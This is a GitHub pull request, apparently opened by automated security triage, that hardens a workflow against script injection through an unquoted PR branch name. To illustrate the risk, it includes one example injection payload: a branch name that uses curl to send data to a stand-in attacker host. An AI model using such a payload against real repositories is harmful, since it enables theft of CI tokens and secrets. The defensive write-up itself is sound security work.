chore(security): quote PR head ref in Clean Notebooks workflow to prevent script injection#627
Draft
w-mclaughlin wants to merge 1 commit into
Draft
Conversation
…vent script injection Addresses VULNMGMT-2001.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Harden the Clean Notebooks workflow against GitHub Actions script injection (CWE-78)
What: In
.github/workflows/cleanup.yml, the Commit and push if changed step interpolated the PR head branch name directly into a shell command:git push origin HEAD:${{ github.event.pull_request.head.ref }}Why it's a problem: This workflow runs on
pull_request_review: [submitted]— a privileged, fork-reachable trigger that executes in the base-repo context withcontents: write+pull-requests: writeand the repoGITHUB_TOKEN. The PR head branch name is attacker-controlled (git refs permit shell metacharacters like$( ) ; | \), and the${{ }}expression is expanded by the Actions runner *before* the shell parses the line — so a fork branch named e.g.$(curl$IFS-d@…evil)would execute arbitrary commands on the runner, enabling theft of the write-scopedGITHUB_TOKEN` and any secrets. The only gate is a maintainer approving the review, which happens routinely without inspecting branch names.The fix (GitHub-recommended pattern): bind the untrusted value to an
env:variable and reference it as a quoted shell variable, so the branch name is treated as literal data, never as code:No behavior change for legitimate branches; malicious metacharacters become literals.
Notes for the reviewer (out of scope for this minimal fix)
ref: ${{ github.event.pull_request.head.ref }}) under the privileged trigger. Worth reviewing whether the auto-clean-and-push design is necessary, or whether the trigger can be tightened.wandb/exampleshas noCODEOWNERSfile, so automated security triage could not attribute an owner. Consider adding one so future findings route to the right team.Refs: CWE-78 · GitHub: security hardening for Actions — script injection
Jira: VULNMGMT-2001
Opened by AppSec automated triage.